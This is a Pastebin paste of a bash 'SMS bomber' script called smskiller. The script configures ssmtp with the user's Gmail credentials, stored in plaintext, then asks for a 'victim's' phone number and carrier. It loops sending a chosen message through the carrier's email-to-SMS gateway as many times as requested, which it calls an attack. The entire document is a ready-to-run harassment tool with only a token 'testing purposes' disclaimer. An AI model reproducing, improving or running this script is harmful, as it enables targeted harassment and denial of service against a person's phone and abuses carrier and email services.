Advertisement
Rexthagod

smskiller

Sep 3rd, 2017
632
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.60 KB | None | 0 0
  1. #!/bin/sh
  2.  
  3. red='\e[0;31m'
  4. RED='\e[1;31m'
  5. blue='\e[0;34m'
  6. BLUE='\e[1;34m'
  7. cyan='\e[0;36m'
  8. CYAN='\e[1;36m'
  9. NC='\e[0m' # No CoLOR
  10.  
  11.  
  12. clear
  13. test "$(whoami)" != 'root' && (echo YOU MUST BE ROOT TO RUN THIS SCRIPT; exit 1)
  14. IP=`ifconfig  | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`
  15. if [ -z $IP ]; then
  16.     clear;echo;echo;echo "  YOU MUST BE CONNECTED TO THE INTERNET TO RUN SCRIPT"
  17.     exit 1
  18. fi
  19. echo -e " ${CYAN} #######################################################"
  20. echo " #######################################################"
  21. echo "  SMSKILLER                   "
  22. echo "  THE H4CKN3T VERSION -                "
  23. echo "  THIS IS FREE SOFTWARE TO USE AND DISTRIBUTE "
  24. echo "  WWW.H4CKN3T.COM                 "
  25. echo "  11-12-2010                  "
  26. echo " #######################################################"
  27. echo " #######################################################"
  28. sleep 3;echo;
  29. echo
  30. echo -e  " ${RED} BY CONTINUING USING THIS SOFTWARE YOU AGREE THAT THIS WAS MADE"
  31. echo "  FOR TESTING PURPOSES ONLY, AND YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS"
  32. sleep 5;clear
  33. echo;echo;echo;
  34. echo -e " ${CYAN} THIS SCRIPT WILL INSTALL MAILUTILS AND SSMTP. (apt-get install mailutils, apt-get install ssmtp)"; sleep 3
  35. ##starting script
  36. echo " ${CYAN} ... CHECKING FOR DEPENDINCIES (MAILUTILS) ..." &
  37. echo;echo
  38.  
  39. apt-get install mailutils -y
  40. clear;echo;
  41. echo "  NOW INSTALLING SSMTP"
  42. echo;echo;
  43.  
  44. apt-get install ssmtp -y
  45. if [ "$?" != 0 ];then
  46.         echo "  SOMETHING WENT WRONG.  CAN'T DOWNLOAD NEEDED FILES"
  47.     exit 1
  48. fi
  49.  
  50. clear;echo;echo;
  51.  
  52. echo -n "   ENTER GMAIL ADDRESS TO USE (ex. myemail@gmail.com): "
  53. read AuthUser
  54. echo;echo;
  55. echo -n "   ENTER GMAIL ADDRESS PASSWORD (passwd WILL echo to screen): "
  56. read AuthPass
  57. clear;echo;echo;echo "  NOW SETTING UP CONFIG FILE WITH DATA"
  58.  
  59. echo "AuthUser=$AuthUser" >> /etc/ssmtp/ssmtp.conf
  60. echo "AuthPass=$AuthPass" >> /etc/ssmtp/ssmtp.conf
  61. echo "FromLineOverride=YES" >> /etc/ssmtp/ssmtp.conf
  62. echo "mailhub=smtp.gmail.com:587" >> /etc/ssmtp/ssmtp.conf
  63. echo "useSTARTTLS=YES" >> /etc/ssmtp/ssmtp.conf
  64.  
  65. echo "  INITIAL SETUP IS COMPLETE .. NOW STARTING ATTACK "
  66. sleep 3
  67. echo -n "ENTER VICTIM'S MOBILE  NUMBER: "
  68. read NUM
  69.  
  70. echo;echo;
  71.  
  72. PS3="Choose (1-5):"
  73. echo ""
  74. echo "CHOOSE A CARRIER BELOW"
  75. echo "<><><><><>"
  76. select CARRIER in ATT BOOST VERIZON VIRGIN ALLTEL
  77. do
  78. break
  79. done
  80.  
  81. ATT=@txt.att.net
  82. BOOST=@myboostmobile.com
  83. VERIZON=@vtext.com
  84. VIRGIN=@vmobl.com
  85. ALLTELL=@message.alltel.com
  86.  
  87.     NUMBER=${NUM}@txt.att.net
  88.  
  89. case $CARRIER in
  90.         ATT)
  91.         NUMBER=${NUM}@txt.att.net
  92.     ;;
  93.         BOOST)
  94.                 NUMBER=${NUM}@myboostmobile.com
  95.     ;;
  96.             VERIZON)
  97.         NUMBER=${NUM}@vtext.com
  98.     ;;
  99.             VIRGIN)
  100.         NUMBER=${NUM}@vmobl.com
  101.     ;;
  102.         ALLTELL)
  103.         NUMBER=${NUM}@message.alltel.com
  104.     ;;
  105.  
  106.    *)  
  107.     ;;
  108. esac
  109. echo;echo;
  110. echo -n "   ENTER SUBJECT: "
  111. read SUBJECT
  112. echo;echo;
  113. echo "  USING $CARRIER ";sleep 1;echo;echo
  114. echo -n "ENTER A SHORT MESSAGE: "
  115. read MESSAGE
  116.  
  117. echo;echo;
  118.  
  119. echo -n "ATTACKING $NUMBER ";echo;
  120. echo -n "CONTINUE ... (Y/N): )"
  121. read NEXT
  122.  
  123. if [ $NEXT = n ];then
  124.     echo "RESTARTING";echo;echo;
  125.     ./smskiller.sh
  126. elif [ "$NEXT" = y ];then
  127.     echo $MESSAGE > 1.txt
  128.     echo "HOW MANY MESSAGE DO YOU WANNA SEND: "
  129.     read SMS
  130. echo;echo
  131.     echo "NUMBER OF SECONDS BETWEEN MESSAGES: "
  132.     read SPEED
  133.     COUNTER=0
  134. until [ $SMS -le $COUNTER ];do
  135.     cat 1.txt | mail -s "$SUBJECT" $NUMBER
  136.     sleep $SPEED
  137.     COUNTER=$(( $COUNTER + 1 ))
  138.     echo "CTRL + C TO CALL OFF ATTACK ... "
  139.     done
  140. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement